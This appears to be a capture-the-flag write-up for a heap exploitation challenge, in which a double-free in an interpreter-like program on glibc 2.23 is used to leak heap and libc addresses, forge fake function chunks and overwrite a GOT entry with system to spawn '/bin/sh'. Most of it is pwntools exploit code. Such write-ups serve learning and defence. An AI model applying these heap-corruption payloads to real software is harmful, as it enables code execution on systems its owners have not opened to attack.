Rating:

In program, free input buffer again and again. So, there's double free bug, but libc's version is 2.23 so we need to bypass corruption.

For bypass, I make some functions for chunks of size 0x80. After, we will free it by re-define functions with bigger operators.

```
f = ['a', 'b', 'c', 'd', 'e']
pay = [': {} 7 + + + + + + + '.format(c) for c in f]
r.sendlineafter('>> ', ''.join(pay))
```

But first we need to make new function which operator chunk has same address with our input buffer. So, we can do other stuffs with our input as pointer

```
r.sendlineafter('>> ', ': f 7 + + + + + + +'.rjust(0x6f, ' '))
```

Next, we leak heap and libc address with function `f`, then push fake function chunk and pointer in function array.

```
pay = ': a 8 + + + + + + + + '
pay += 'f'
pay = pay.ljust(0x20, '\x00')
pay += p64(7) + p64(0x601b80)
pay += p64(6) + p64(0x601c88)
pay += p64(6) + p64(0x601c90)
pay += p64(7) + p64(0x601c88)
pay += p64(5)
r.sendlineafter('>> ', pay)
```

Finally, re-define function which we made in function array, so we can write somewhere (which is GOT).

```
pay = '/bin/sh; f '.ljust(16, '\x00')
pay += p64(5) + p64(heap_base+0x450)
pay += p64(heap_base + 0x50) + p64(1)
pay += p64(7) + p64(heap_base+0x28)
pay += p64(libc.symbols['system']) + p64(0)
pay += p64(5) + p64(0)
pay += p64(5)
r.sendlineafter('>> ', pay)
```

Original writeup (https://pastebin.com/rDv1LTbU).